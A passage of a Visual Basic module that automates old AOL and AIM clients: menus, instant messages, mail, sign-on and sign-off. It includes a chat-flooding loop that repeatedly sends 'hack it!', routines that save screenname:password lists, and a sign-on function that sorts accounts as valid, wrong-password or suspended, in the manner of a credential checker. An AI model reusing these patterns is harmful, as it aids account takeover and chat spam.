Call SetFavorite25("re enter scroll", "aol://2719:2-2-" + GetText(FindRoom25&))
For kai& = 1 To times&
Call ChatSend25("h a")
Call ChatSend25("c k")
Call ChatSend25("  i")
Call ChatSend25("t !")
Call PostMessage(FindRoom25&, WM_CLOSE, 0&, 0&)
Call RunMenuByString("re enter scroll")
Do
DoEvents
Loop Until Clone_FindRoom25& <> 0&
Next kai&
End Sub
Public Sub RemoveSelectedListItem(list As ListBox)
'removes selected list item
Dim lngSelVar As Long
lngSelVar& = list.ListIndex
If lngSelVar& = -1 Then Exit Sub
list.RemoveItem lngSelVar&
End Sub
Public Function ReplaceChr(rText As String, rFind As String, rReplace As String) As String
'replaces a character in a string
Dim rLong As Long, rChr As String, rFull As String
For rLong& = 1 To Len(rText$)
rChr$ = Mid(rText$, rLong&, 1)
If rChr$ = rFind$ Then rChr$ = rReplace$
rFull$ = rFull$ + rChr$
Next rLong&
ReplaceChr$ = rFull$
End Function
Public Function ReplaceText(tMain As String, tFind As String, tReplace As String) As String
'replaces a string within a larger string
Dim iFind As Long, lString As String, rString As String, rText As String, tMain2 As String
iFind& = InStr(1, LCase(tMain$), LCase(tFind$))
If iFind& = 0& Then ReplaceText = tMain$: Exit Function
Do
DoEvents
lString$ = Left(tMain$, iFind& - 1)
rString$ = Mid(tMain$, iFind& + Len(tFind$), Len(tMain$) - (Len(lString$) + Len(tFind$)))
tMain$ = lString$ + "" + tReplace$ + "" + rString$
iFind& = InStr(iFind& + Len(tReplace$), LCase(tMain$), LCase(tFind$))
If iFind& = 0& Then Exit Do
Loop
ReplaceText = tMain$
End Function
Public Function ReplaceText2(tMain As String, tFind As String, tReplace As String) As String
Dim iFind As Long, lString As String, rString As String, rText As String, tMain2 As String
'crappier version of replacetext..
'i made it to replace " " with " "
iFind& = InStr(1, LCase(tMain$), LCase(tFind$))
If iFind& = 0& Then ReplaceText2 = tMain$: Exit Function
Do
DoEvents
lString$ = Left(tMain$, iFind& - 1)
rString$ = Mid(tMain$, iFind& + Len(tFind$), Len(tMain$) - (Len(lString$) + Len(tFind$)))
tMain$ = lString$ + "" + tReplace$ + "" + rString$
iFind& = InStr(iFind&, LCase(tMain$), LCase(tFind$))
If iFind& = 0& Then Exit Do
Loop
ReplaceText2 = tMain$
End Function
Public Sub RestoreWindow(hWnd As Long)
'self explanatory
Call ShowWindow(hWnd&, SW_RESTORE)
End Sub
Public Function RightChatText(length As Long) As String
'gets text from the right of the chattext
'it depends on how long the Length& is
Dim rWin As Long, rCNTL As Long
Dim rChr As Long, rChr2 As Long, rText As String
If AOLVersion = "4" Or AOLVersion = "5" Then
rWin& = FindRoom&
rCNTL& = FindWindowEx(rWin&, 0&, "RICHCNTL", vbNullString)
Else
rWin& = FindRoom25&
rCNTL& = FindWindowEx(rWin&, 0&, "_AOL_View", vbNullString)
End If
If rCNTL& = 0& Then RightChatText$ = "": Exit Function
rText$ = GetText(rCNTL&)
RightChatText$ = Right(rText$, length&)
End Function
Public Function RoomCount() As Long
'counts the chat room's listbox
Dim rWin As Long, rList As Long
rWin& = FindRoom
If rWin& = 0& Then Exit Function
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
RoomCount& = SendMessage(rList&, LB_GETCOUNT, 0&, 0&)
End Function
Public Function RoomCount25() As Long
'counts the chat room's listbox on aol 2.5 and 3.0
Dim rWin As Long, rList As Long
rWin& = FindRoom25
If rWin& = 0& Then Exit Function
rList& = FindWindowEx(rWin&, 0&, "_AOL_Listbox", vbNullString)
RoomCount25& = SendMessage(rList&, LB_GETCOUNT, 0&, 0&)
End Function
Public Sub RunMenu(TopMenu As Long, SubMenu As Long)
'this just runs a specified aol menu
'to exit aol 4.0.. you'd use:
'call runmenu(0&, 12&)
'which would goto "&File" and then goto "&Exit"
Dim aol As Long, menu As Long, sMenu As Long
Dim mVal As Long, MenuID As Long
aol& = FindWindow("AOL Frame25", vbNullString)
menu& = GetMenu(aol&)
sMenu& = GetSubMenu(menu&, TopMenu&)
MenuID& = GetMenuItemID(sMenu&, SubMenu&)
Call SendMessageLong(aol&, WM_COMMAND, MenuID&, 0&)
End Sub
Public Sub RunMenuByString(strMenu As String)
'this is just 2 for..next loops
'1 for the topmenu [&File, &Edit, etc..]
'and the second for the submenus [&New, &Open, &Signoff, etc..]
'don't forget to include the & if part of the menu is underlined..
'example:
'call runmenubystring("&Sign Off")
'note: it is not case sensitive -=]
Dim aol As Long, AOLMenu As Long, mnuCount As Long
Dim tMenu As Long, SubMenu As Long, SubCount As Long
Dim subBuff As String, TopMenu As Long, bottomMenu As Long
Dim subID As Long
aol& = FindWindow("AOL Frame25", vbNullString)
AOLMenu& = GetMenu(aol&)
mnuCount& = GetMenuItemCount(AOLMenu&)
For TopMenu& = 0 To mnuCount& - 1
SubMenu& = GetSubMenu(AOLMenu&, TopMenu&)
SubCount& = GetMenuItemCount(SubMenu&)
For bottomMenu = 0 To SubCount& - 1
subID& = GetMenuItemID(SubMenu&, bottomMenu&)
subBuff$ = String(100, " ")
Call GetMenuString(SubMenu&, subID&, subBuff$, 100&, 1&)
If InStr(1, LCase(subBuff$), LCase(strMenu$)) <> 0& Then
Call RunMenu(TopMenu&, bottomMenu&)
Exit Sub
End If
Next bottomMenu&
Next TopMenu&
End Sub
Public Sub RunMenuByStringAIM(strMenu As String)
'this is just 2 for..next loops
'1 for the topmenu [&File, &Edit, etc..]
'and the second for the submenus [&New, &Open, &Signoff, etc..]
'don't forget to include the & if part of the menu is underlined..
'example:
'call runmenubystring("&Sign Off")
'note: it is not case sensitive -=]
Dim aim As Long, AIMMenu As Long, mnuCount As Long
Dim tMenu As Long, SubMenu As Long, SubCount As Long
Dim subBuff As String, TopMenu As Long, bottomMenu As Long
Dim subID As Long
aim& = FindWindow("_oscar_buddylistwin", vbNullString)
AIMMenu& = GetMenu(aim&)
mnuCount& = GetMenuItemCount(AIMMenu&)
For TopMenu& = 0 To mnuCount& - 1
SubMenu& = GetSubMenu(AIMMenu&, TopMenu&)
SubCount& = GetMenuItemCount(SubMenu&)
For bottomMenu = 0 To SubCount& - 1
subID& = GetMenuItemID(SubMenu&, bottomMenu&)
subBuff$ = String(100, " ")
Call GetMenuString(SubMenu&, subID&, subBuff$, 100&, 1&)
If InStr(1, LCase(subBuff$), LCase(strMenu$)) <> 0& Then
Call RunMenu(TopMenu&, bottomMenu&)
Exit Sub
End If
Next bottomMenu&
Next TopMenu&
End Sub
Public Sub RunTBMenu(Iconnum As Long, MnuNumber As Long)
'i really like this sub..
'now to explain it:
'say you want to click "my member profile"
'from aol's toolbar icon 'My AOL'
'
'just put in the icon number it's at [left to right]
'and then put the menu number it's at [top to bottom]
'
'so it'd look like this:
'call runtbmenu(6&, 4&)
Dim aol As Long, mdi As Long, tb As Long, TBar As Long
Dim tIcon As Long, iLong As Long, mLong As Long, StartTime As Double
Dim tMenu As Long, wVisible As Long, cPosition As POINTAPI
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
TBar& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
tIcon& = FindWindowEx(TBar&, 0&, "_AOL_Icon", vbNullString)
For iLong& = 1 To Iconnum - 1
tIcon& = FindWindowEx(TBar&, tIcon&, "_AOL_Icon", vbNullString)
Next iLong&
Call GetCursorPos(cPosition)
Call SetCursorPos(Screen.Width, Screen.Height)
ClickAgain:
StartTime = Timer
Call PostMessage(tIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(tIcon&, WM_LBUTTONUP, 0&, 0&)
pause (0.09)
Do
tMenu& = FindWindow("#32768", vbNullString)
wVisible& = IsWindowVisible(tMenu&)
Loop Until wVisible& = 1 Or Timer - StartTime > 1
If Timer - StartTime > 1 Then GoTo ClickAgain
For mLong& = 1 To MnuNumber&
Call PostMessage(tMenu&, WM_KEYDOWN, VK_DOWN, 0&)
Call PostMessage(tMenu&, WM_KEYUP, VK_DOWN, 0&)
Next mLong&
Call PostMessage(tMenu&, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(tMenu&, WM_KEYUP, VK_RETURN, 0&)
Call SetCursorPos(cPosition.X, cPosition.Y)
End Sub
Public Sub Save2Combos(ComboSN As ComboBox, ComboPW As ComboBox, Target As String)
'self explanatory
Dim sLong As Long
On Error Resume Next
Open Target$ For Output As #1
For sLong& = 0 To ComboSN.ListCount - 1
Print #1, "" + ComboSN.list(sLong&) + ":" + ComboPW.list(sLong&) + ""
Next sLong&
Close #1
End Sub
Public Sub Save2Lists(ListSN As ListBox, ListPW As ListBox, Target As String)
'self explanatory
Dim sLong As Long
On Error Resume Next
Open Target$ For Output As #1
For sLong& = 0 To ListSN.ListCount - 1
Print #1, "" + ListSN.list(sLong&) + ":" + ListPW.list(sLong&) + ""
Next sLong&
Close #1
End Sub
Public Sub SaveCombo(FileName As String, Combo As ComboBox)
'self explanatory
On Error Resume Next
Dim lngSave As Long
Open FileName$ For Output As #1
For lngSave& = 0 To Combo.ListCount - 1
Print #1, Combo.list(lngSave&)
Next lngSave&
Close #1
End Sub
Public Sub savelist(FileName As String, list As Control)
'self explanatory
On Error Resume Next
Dim lngSave As Long
If FileName$ = "" Then Exit Sub
Open FileName$ For Output As #1
For lngSave& = 0 To list.ListCount - 1
Print #1, list.list(lngSave&)
Next lngSave&
Close #1
End Sub
Public Sub SaveText(Text As String, FileName As String)
'self explanatory
On Error Resume Next
Open FileName$ For Output As #1
Print #1, Text$
Close #1
End Sub
Public Function SelectedListItem(list As ListBox) As Long
'function that returns the value
'of the selected list item.
'if no item is selected, then
'the function returns a value
'of -1
SelectedListItem& = list.ListIndex
End Function
Public Sub sendim(screenname As String, Message As String)
'sends an instant message
'to a screen name w/ message
'doesn't loop for anything..
'(msgbox that they're offline)
Dim aol As Long, mdi As Long, mWin As Long, mBut As Long
Dim IMWin As Long, imicon As Long, imLong As Long, imCNTL As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call SendIM25(screenname$, Message$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call Keyword("aol://9293:" + screenname$)
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
imCNTL& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
Loop Until IMWin& <> 0& And imicon& <> 0& And imCNTL& <> 0&
imicon& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
imicon& = FindWindowEx(IMWin&, imicon&, "_AOL_Icon", vbNullString)
Next imLong&
Call SendMessageByString(imCNTL&, WM_SETTEXT, 0&, Message$)
Call SendMessage(imicon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(imicon&, WM_LBUTTONUP, 0&, 0&)
End Sub
Public Sub SendIM25(screenname As String, Message As String)
'sends an instant message
'to a screen name w/ message
'works for 3.0 and 2.5
'doesn't loop for anything
Dim aol As Long, mdi As Long, IMWin As Long, imSN As Long
Dim IMmessage As Long, IMButton As Long, mWin As Long, mBut As Long, imLong As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
'Call KeyWord25("aol://9293:" + ScreenName$)
Call RunMenuByString("send an instant message")
Do
DoEvents
IMWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Send Instant Message")
imSN& = FindWindowEx(IMWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
IMmessage& = FindWindowEx(IMWin&, imSN&, "_AOL_Edit", vbNullString)
Else
IMmessage& = FindWindowEx(IMWin&, 0&, "RICHCNTL", vbNullString)
End If
If AOLVersion = "2.5" Then
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Button", "Send")
Else
IMButton& = FindWindowEx(IMWin&, 0&, "_AOL_Icon", vbNullString)
For imLong& = 1 To 8
IMButton& = FindWindowEx(IMWin&, IMButton&, "_AOL_Icon", vbNullString)
Next imLong&
End If
Loop Until IMWin& <> 0& And IMmessage& <> 0& And IMButton& <> 0&
Call SendMessageByString(imSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(IMmessage&, WM_SETTEXT, 0&, Message$)
If AOLVersion = "2.5" Then
Call PostMessage(IMButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(IMButton&, WM_KEYUP, VK_SPACE, 0&)
Else
Call PostMessage(IMButton&, WM_LBUTTONDOWN, 0&, 0&)
Call PostMessage(IMButton&, WM_LBUTTONUP, 0&, 0&)
End If
End Sub
Public Sub SendMail(screenname As String, Subject As String, Message As String)
'sends mail on aol 4.0
Dim aol As Long, mdi As Long, tb As Long, i As Long
Dim tTool As Long, tIcon As Long, cWin As Long, cbut As Long
Dim mWin As Long, mSN As Long, mBCC As Long, mSubj As Long, mMessage As Long, micon As Long
If AOLVersion = "2.5" Or AOLVersion = "3" Then
Call SendMail25(screenname$, Subject$, Message$)
Exit Sub
End If
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
tb& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
tTool& = FindWindowEx(tb&, 0&, "_AOL_Toolbar", vbNullString)
tIcon& = FindWindowEx(tTool&, 0&, "_AOL_Icon", vbNullString)
tIcon& = FindWindowEx(tTool&, tIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(tIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Write Mail")
mSN& = FindWindowEx(mWin&, 0&, "_AOL_Edit", vbNullString)
mBCC& = FindWindowEx(mWin&, mSN&, "_AOL_Edit", vbNullString)
mSubj& = FindWindowEx(mWin&, mBCC&, "_AOL_Edit", vbNullString)
mMessage& = FindWindowEx(mWin&, 0&, "RICHCNTL", vbNullString)
micon& = FindWindowEx(mWin&, 0&, "_AOL_Icon", vbNullString)
For i = 1 To 13
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
Next i
Loop Until mWin& <> 0& And mSubj& <> 0& And mMessage& <> 0& And micon& <> 0&
Call SendMessageByString(mSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(mBCC&, WM_SETTEXT, 0&, "")
Call SendMessageByString(mSubj&, WM_SETTEXT, 0&, Subject$)
Call SendMessageByString(mMessage&, WM_SETTEXT, 0&, Message$)
pause (0.5)
For i = 1 To 13
micon& = FindWindowEx(mWin&, micon&, "_AOL_Icon", vbNullString)
Next i
pause (0.1)
Call SendMessage(micon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(micon&, WM_LBUTTONUP, 0&, 0&)
End Sub
Public Sub SendMail25(screenname As String, Subject As String, Message As String)
'sends mail on aol 2.5 and 3.0
Dim aol As Long, mdi As Long
Dim tTool As Long, tIcon As Long, cWin As Long, cbut As Long
Dim mWin As Long, mSN As Long, mBCC As Long, mSubj As Long, mMessage As Long, micon As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
tTool& = FindWindowEx(aol&, 0&, "AOL Toolbar", vbNullString)
tIcon& = FindWindowEx(tTool&, 0&, "_AOL_Icon", vbNullString)
tIcon& = FindWindowEx(tTool&, tIcon&, "_AOL_Icon", vbNullString)
Call SendMessage(tIcon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(tIcon&, WM_LBUTTONUP, 0&, 0&)
Do
DoEvents
mWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Compose Mail")
mSN& = FindWindowEx(mWin&, 0&, "_AOL_Edit", vbNullString)
mBCC& = FindWindowEx(mWin&, mSN&, "_AOL_Edit", vbNullString)
mSubj& = FindWindowEx(mWin&, mBCC&, "_AOL_Edit", vbNullString)
If AOLVersion = "3" Then
mMessage& = FindWindowEx(mWin&, 0&, "RICHCNTL", vbNullString)
Else
mMessage& = FindWindowEx(mWin&, mSubj&, "_AOL_Edit", vbNullString)
End If
micon& = FindWindowEx(mWin&, 0&, "_AOL_Icon", vbNullString)
Loop Until mWin& <> 0& And mSubj& <> 0& And mMessage& <> 0& And micon& <> 0&
Call SendMessageByString(mSN&, WM_SETTEXT, 0&, screenname$)
Call SendMessageByString(mBCC&, WM_SETTEXT, 0&, "")
Call SendMessageByString(mSubj&, WM_SETTEXT, 0&, Subject$)
Call SendMessageByString(mMessage&, WM_SETTEXT, 0&, Message$)
pause (0.1)
Call SendMessage(micon&, WM_LBUTTONDOWN, 0&, 0&)
Call SendMessage(micon&, WM_LBUTTONUP, 0&, 0&)
End Sub
Public Sub SetFavorite25(kwName As String, kwKeyWord As String)
'sets a favorite on aol 2.5 and 3.0
'it sets the favorite in the first
'goto menu box ONLY..
Dim favWin As Long, favEdit1 As Long, favEdit2 As Long, favSave As Long
Call RunMenuByString("edit go to menu")
Do
DoEvents
favWin& = FindWindow("_AOL_Modal", "Favorite Places")
favEdit1& = FindWindowEx(favWin&, 0&, "_AOL_Edit", vbNullString)
favEdit2& = FindWindowEx(favWin&, favEdit1&, "_AOL_Edit", vbNullString)
favSave& = FindWindowEx(favWin&, 0&, "_AOL_Button", "Save Changes")
Loop Until favWin& <> 0& And favEdit2& <> 0& And favSave& <> 0&
Call SendMessageByString(favEdit1&, WM_SETTEXT, 0&, kwName$)
Call SendMessageByString(favEdit2&, WM_SETTEXT, 0&, kwKeyWord$)
Call PostMessage(favSave&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(favSave&, WM_KEYUP, VK_SPACE, 0&)
End Sub
Public Sub SetTextEnter(Text As String, hWnd As Long)
'sets text to a specified hWnd as presses enter
Dim Version As String
If hWnd& = 0& Or Text$ = "" Or blnOHScroll = False Then Exit Sub
Call SendMessageByString(hWnd&, WM_SETTEXT, 0&, Chr(9) + Chr(160) + "" + Text$)
Call SendMessageLong(hWnd&, WM_CHAR, ENTER_KEY, 0&)
Version$ = AOLVersion
If Version$ = "4" Or Version$ = "5" Then
Do
DoEvents
Loop Until GetText(hWnd&) = ""
End If
End Sub
Public Sub showaol()
'shows aol
Dim aol As Long
aol& = FindWindow("AOL Frame25", vbNullString)
Call ShowWindow(aol&, SW_MINIMIZE)
Call ShowWindow(aol&, SW_SHOW)
Call ShowWindow(aol&, SW_MAXIMIZE)
End Sub
Public Sub SignOff()
'signs user off of aol
If AOLVersion = "3" Or AOLVersion = "2.5" Then
Call SignOff25
Exit Sub
End If
Call RunMenuByString("&Sign off")
Do
DoEvents
Loop Until FindSignOnWindow <> 0&
End Sub
Public Sub SignOff25()
'signs user off of aol 2.5 and 3.0
Dim aol As Long, mdi As Long, soModal As Long, soButton As Long, gbWin As Long
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
Call RunMenuByString("Sign Off")
Do
DoEvents
'aol 2.5 prompts user before signing off
soModal& = FindWindow("_AOL_Modal", "America Online")
soButton& = FindWindowEx(soModal&, 0&, "_AOL_Button", "&Yes")
'where-as aol 3.0 just signs off normally
gbWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
If gbWin& <> 0& Then
Exit Sub
End If
Loop Until soModal& <> 0& And soButton& <> 0&
Call SendMessage(soButton&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessage(soButton&, WM_KEYUP, VK_SPACE, 0&)
Do
DoEvents
gbWin& = FindWindowEx(mdi&, 0&, "AOL Child", "Goodbye from America Online!")
Loop Until gbWin& <> 0&
End Sub
Public Function SignOnQuick(screenname As String, Password As String) As Long
'signon outcomes...
'1 = signed on correctly
'2 = incorrect password
'3 = currently signed on
'4 = invalid acct (not active) / (suspended)
'5 = internal account
On Error Resume Next
Dim aol As Long, mdi As Long, welWin As Long, gWin As Long
Dim gCNTL As Long, iWin As Long, iEdit As Long
Dim gString As String, msgWin As Long, msgBut As Long
Dim iBut As Long, soWin As Long, soCombo As Long
Dim soBut As Long, soButx As Long, soEdit As Long, soCNTL As Long
Dim lngCombo As Long, conModal As Long, modPWStore As Long
If AOLVersion = "3" Or AOLVersion = "2.5" Then
SignOnQuick = SignOnQuick25(screenname$, Password$)
Exit Function
End If
If GetUser <> "" Then
Call SignOff
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWin& = FindSignOnWindow
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soBut& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soButx& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
If soButx& <> 0& Then soBut& = soButx&
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
soCNTL& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soCNTL& = FindWindowEx(soWin&, soCNTL&, "RICHCNTL", vbNullString)
Loop Until soWin& <> 0& And soCombo& <> 0& And soBut& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, 0&, 0&)
Call ModalKill
Call Temp_Convert(screenname$)
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, Password$)
Call SendMessageByString(soCNTL&, WM_SETTEXT, 0&, "")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
conModal& = FindWindow("_AOL_Modal", "")
modPWStore& = FindWindow("_AOL_Modal", "Password Store Information Box")
Loop Until conModal& <> 0&
Call PostMessage(modPWStore&, WM_CLOSE, 0&, 0&)
Do
DoEvents
welWin& = FindWelcome&
gWin& = FindSignOnWindow&
gCNTL& = FindWindowEx(gWin&, 0&, "RICHCNTL", vbNullString)
gCNTL& = FindWindowEx(gWin&, gCNTL&, "RICHCNTL", vbNullString)
gString$ = GetText(gCNTL&)
iWin& = FindInvalidPW&
iBut& = FindWindowEx(iWin&, 0&, "_AOL_Icon", vbNullString)
aol& = FindWindow("AOL Frame25", vbNullString)
If aol& = 0& Then Exit Function
Loop Until welWin& <> 0& Or InStr(1, gString$, "Invalid password") <> 0& Or InStr(1, gString$, "This account is not currently active") <> 0& Or InStr(1, gString$, "Your connection to AOL has been lost") <> 0& Or iWin& <> 0& And iBut& <> 0&
If welWin& <> 0& Then
SignOnQuick& = 1&
ElseIf InStr(1, gString$, "Invalid password") <> 0& Then
SignOnQuick& = 2&
ElseIf InStr(1, gString$, "This account is not currently active") <> 0& Then
SignOnQuick& = 4&
ElseIf InStr(1, gString$, "Your connection to AOL has been lost") <> 0& Then
Do
DoEvents
msgWin& = FindWindow("#32770", "America Online")
msgBut& = FindWindowEx(msgWin&, 0&, "Button", "OK")
Loop Until msgWin& <> 0& And msgBut& <> 0&
Call PostMessage(msgBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(msgBut&, WM_KEYUP, VK_SPACE, 0&)
SignOnQuick& = 3&
End If
End Function
Public Function SignOnQuick25(screenname As String, Password As String) As Long
'similar to the other signon methods
Dim aol As Long, mdi As Long, soWin As Long, soCombo As Long
Dim soBut As Long, soEdit As Long, lngCombo As Long
Dim connectingModal As Long, soStatic As Long, iWin As Long
Dim welWin As Long, soString As String, iBut As Long
Dim csWin As Long, csBut As Long, csStatic As Long, csString As String
Dim sIDMod As Long, sIDBut As Long
If GetUser <> "" Then
Call SignOff25
If IsNumeric(GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini")) = True Then
pause (GetFromINI("ph2", "signon pause", App.Path + "\ph2.ini"))
End If
End If
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
mdi& = FindWindowEx(aol&, 0&, "MDIClient", vbNullString)
soWin& = FindSignOnWindow
soCombo& = FindWindowEx(soWin&, 0&, "_AOL_Combobox", vbNullString)
soBut& = FindWindowEx(soWin&, 0&, "_AOL_Icon", vbNullString)
If AOLVersion = "3" Then
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
soBut& = FindWindowEx(soWin&, soBut&, "_AOL_Icon", vbNullString)
End If
soEdit& = FindWindowEx(soWin&, 0&, "_AOL_Edit", vbNullString)
If AOLVersion = "2.5" Then
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Else
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
End If
Loop Until soWin& <> 0& And soCombo& <> 0& And soBut& <> 0&
Call SendMessage(soCombo&, CB_SETCURSEL, 0&, 0&)
Call ModalKill
Call Temp_Convert(screenname$)
'AppActivate GetText(AOL&)
Call SendMessageByString(soEdit&, WM_SETTEXT, 0&, Password$)
Call SendMessageByString(soStatic&, WM_SETTEXT, 0&, "")
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Call SendMessageLong(soCombo&, WM_CHAR, ENTER_KEY, 0&)
Do
DoEvents
aol& = FindWindow("AOL Frame25", vbNullString)
If aol& = 0& Then SignOnQuick25 = 0&: Exit Function
welWin& = FindWelcome&
soWin& = FindSignOnWindow
If AOLVersion = "2.5" Then
soStatic& = FindWindowEx(soWin&, 0&, "_AOL_Static", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "_AOL_Static", vbNullString)
Else
soStatic& = FindWindowEx(soWin&, 0&, "RICHCNTL", vbNullString)
soStatic& = FindWindowEx(soWin&, soStatic&, "RICHCNTL", vbNullString)
End If
soString$ = GetText(soStatic&)
iWin& = FindInvalidPW&
iBut& = FindWindowEx(iWin&, 0&, "_AOL_Button", "Cancel")
sIDMod& = FindWindow("_AOL_Modal", "SecurID Code")
sIDBut& = FindWindowEx(sIDMod&, 0&, "_AOL_Button", vbNullString)
sIDBut& = FindWindowEx(sIDMod&, sIDBut&, "_AOL_Button", vbNullString)
Loop Until welWin& <> 0& Or soWin& <> 0& And soStatic& <> 0& And soString$ <> "" Or iWin& <> 0& And iBut& <> 0& Or sIDMod& <> 0& And sIDBut& <> 0&
If welWin& <> 0& Then
SignOnQuick25 = 1&
Exit Function
End If
If sIDMod& <> 0& And sIDBut& <> 0& Then
Call PostMessage(sIDBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(sIDBut&, WM_KEYUP, VK_SPACE, 0&)
SignOnQuick25 = 5&
Exit Function
End If
If iWin& <> 0& Then
Call PostMessage(iBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(iBut&, WM_KEYUP, VK_SPACE, 0&)
Call ModalKill
SignOnQuick25 = 2&
Exit Function
End If
If soStatic& <> 0& Then
If InStr(1, soString$, "This account is not currently active") <> 0& Then
SignOnQuick25 = 4&
ElseIf InStr(1, soString$, "Invalid account") <> 0& Then
SignOnQuick25 = 4&
ElseIf InStr(1, soString$, "Invalid password") <> 0& Then
SignOnQuick25 = 2&
ElseIf InStr(1, soString$, "You have been disconnected from America Online") <> 0& Then
Do
DoEvents
csWin& = FindWindow("#32770", "America Online")
csBut& = FindWindowEx(csWin&, 0&, "Button", "OK")
csStatic& = FindWindowEx(csWin&, 0&, "Static", vbNullString)
csStatic& = FindWindowEx(csWin&, csStatic&, "Static", vbNullString)
csString$ = GetText(csStatic&)
Loop Until csWin& <> 0& And csBut& <> 0& And csStatic& <> 0& And csString$ <> ""
Call PostMessage(csBut&, WM_KEYDOWN, VK_SPACE, 0&)
Call PostMessage(csBut&, WM_KEYUP, VK_SPACE, 0&)
If InStr(1, csString$, "Your account is signed on using") <> 0& Then
SignOnQuick25 = 3&
ElseIf InStr(1, csString$, "This account has been suspended") <> 0& Then
SignOnQuick25 = 4&
End If
End If
End If
End Function
Public Sub SnapCheck(frm As Form)
'snaps form to screen
'sort of like winamp
If frm.Left < 0& Then
Do
DoEvents
frm.Left = frm.Left + 10
Loop Until frm.Left >= 0&
frm.Left = 0&
End If
If frm.Top < 0& Then
Do
DoEvents
frm.Top = frm.Top + 10
Loop Until frm.Top >= 0&
frm.Top = 0&
End If
If frm.Top + frm.Height > Screen.Height Then
Do
DoEvents
frm.Top = frm.Top - 10
Loop Until frm.Top <= Screen.Height - frm.Height
frm.Top = Screen.Height - frm.Height
End If
If frm.Left + frm.Width > Screen.Width Then
Do
DoEvents
frm.Left = frm.Left - 10
Loop Until frm.Left <= Screen.Width - frm.Width
frm.Left = Screen.Width - frm.Width
End If
If frm.Left - 400 < 0& Then
Do
DoEvents
frm.Left = frm.Left - 10
Loop Until frm.Left <= 0&
frm.Left = 0&
End If
If frm.Top - 400 < 0& Then
Do
DoEvents
frm.Top = frm.Top - 10
Loop Until frm.Top <= 0&
frm.Top = 0&
End If
If (frm.Left + frm.Width) + 400 > Screen.Width Then
Do
DoEvents
frm.Left = frm.Left + 10
Loop Until frm.Left + frm.Width >= Screen.Width
frm.Left = Screen.Width - frm.Width
End If
